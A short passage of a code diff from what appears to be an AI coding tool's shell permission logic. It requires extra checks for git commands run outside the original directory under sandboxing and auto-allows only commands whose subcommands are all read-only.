+    hasGitCommand &&
+    SandboxManager.isSandboxingEnabled() &&
+    getCwd() !== getOriginalCwd()
+  ) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Git commands outside the original working directory require permission checks when sandbox is enabled',
+    }
+  }
+
+  // Check if all subcommands are read-only
+  const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
+    subcmd => {
+      if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
+        return false
+      }
+      return isCommandReadOnly(subcmd)
+    },
+  )
+
+  if (allSubcommandsReadOnly) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+    }
+  }
+
+  // If not read-only, return passthrough to let other permission checks handle it
+  return {
+    behavior: 'passthrough',
+    message: 'Command is not read-only, requires further permission checks',
+  }
+}